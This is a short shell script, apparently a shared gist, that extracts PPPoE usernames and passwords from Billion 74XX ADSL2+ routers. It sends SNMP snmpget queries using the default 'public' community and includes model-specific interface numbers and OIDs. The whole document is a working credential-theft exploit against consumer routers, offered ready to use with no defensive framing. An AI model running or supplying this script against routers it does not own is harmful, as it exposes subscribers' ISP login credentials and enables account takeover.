gets pppoe passwords out of Billion 74XX ADSL2+ routers

billion-74xx-get-pppoe-passwords.sh

#!/bin/sh

# The SNMP community to use.  Normally this will be "public".  Only need read access.
COMMUNITY="public"

# default interface
IFACE="5"

case "$2" in
	"e" | "wired" | "eth" | "ethernet" | "7402vl")
		# Wired devices
		# 7402VL, firmware 5.05
		IFACE="5"
		;;
	
	"w" | "wireless" | "wifi" | "7402vgp" | "7404vgp-m")
		# Wireless Devices
		# 7404VGP-M, firmware 5.07
		IFACE="6"
		;;
	
	"m" | "manual")
		# Manual override
		IFACE="$3"
		;;
esac # is ridiculous

# OIDs to use
OIDMODEL="sysDescr.0"
OIDUSER="transmission.23.2.3.1.5.${IFACE}.1"
OIDPASS="transmission.23.2.3.1.6.${IFACE}.1"

echo "Getting PPPoE login details for $1..."

MODEL="`snmpget -v1 -c${COMMUNITY} -Ov -OQ $1 ${OIDMODEL}`"
USERNAME="`snmpget -v1 -c${COMMUNITY} -Ov -OQ $1 ${OIDUSER}`"
PASSWORD="`snmpget -v1 -c${COMMUNITY} -Ov -OQ $1 ${OIDPASS}`"

echo "Model/Firmware: ${MODEL}"
echo "Username: ${USERNAME}"
echo "Password: ${PASSWORD}"